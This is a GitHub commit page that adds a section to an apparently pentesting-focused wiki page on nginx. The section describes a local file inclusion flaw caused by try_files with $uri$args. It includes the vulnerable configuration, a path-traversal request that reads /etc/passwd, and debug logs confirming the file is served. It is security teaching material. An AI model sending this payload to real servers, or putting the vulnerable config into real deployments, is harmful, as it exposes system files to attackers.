Skip to content

Commit a0a2bae

Browse files
author
n0ll
committed
nginx try_files directive with variables
1 parent 1403e5b commit a0a2bae

2 files changed

Lines changed: 55 additions & 0 deletions

File tree

src/images/nginx_try_files.png

190 KB
Loading

src/network-services-pentesting/pentesting-web/nginx.md

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -157,6 +157,61 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar
157157

158158
Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful.
159159

160+
### Using try_files with $URI$ARGS variables
161+
162+
Following Nginx misconfiguration can lead to an LFI vulnerability:
163+
```
164+
location / {
165+
try_files $uri$args $uri$args/ /index.html;
166+
}
167+
```
168+
In our configuration we have directive `try_files` which is used to check for existence of files in specified order. Nginx will server the first one that it will find. The basic syntax of the `try_files` directive is as follows:
169+
```
170+
try_files file1 file2 ... fileN fallback;
171+
```
172+
173+
Nginx will check for the existence of each file in the specified order. If a file exists, it will be served immediately. If none of the specified files exist, the request will be passed to the fallback option, which can be another URI or a specific error page.
174+
175+
However, when using `$uri$args` variables in this directive, the Nginx will try to look for a file that matches the request URI combined with any query string arguments. Therefor we can exploit this configuration:
176+
```
177+
http {
178+
server {
179+
root /var/www/html/public;
180+
181+
location / {
182+
try_files $uri$args $uri$args/ /index.html;
183+
}
184+
}
185+
}
186+
```
187+
188+
With following payload:
189+
```
190+
GET /?../../../../../../../../etc/passwd HTTP/1.1
191+
Host: example.com
192+
```
193+
194+
Using our payload we will escape the root directory (defined in Nginx configuration) and load the `/etc/passwd` file. In debug logs we can observe how the Nginx tries the files:
195+
196+
```
197+
...SNIP...
198+
199+
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
200+
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
201+
202+
...SNIP...
203+
204+
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
205+
206+
...SNIP...
207+
208+
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
209+
210+
```
211+
212+
PoC againts Nginx using the configuration mentioned above:
213+
![Example burp request](../../images/nginx_try_files.png)
214+
160215
## Raw backend response reading
161216

162217
Nginx offers a feature through `proxy_pass` that allows for the interception of errors and HTTP headers produced by the backend, aiming to hide internal error messages and headers. This is accomplished by Nginx serving custom error pages in response to backend errors. However, challenges arise when Nginx encounters an invalid HTTP request. Such a request gets forwarded to the backend as received, and the backend's raw response is then directly sent to the client without Nginx's intervention.

0 commit comments

Comments
 (0)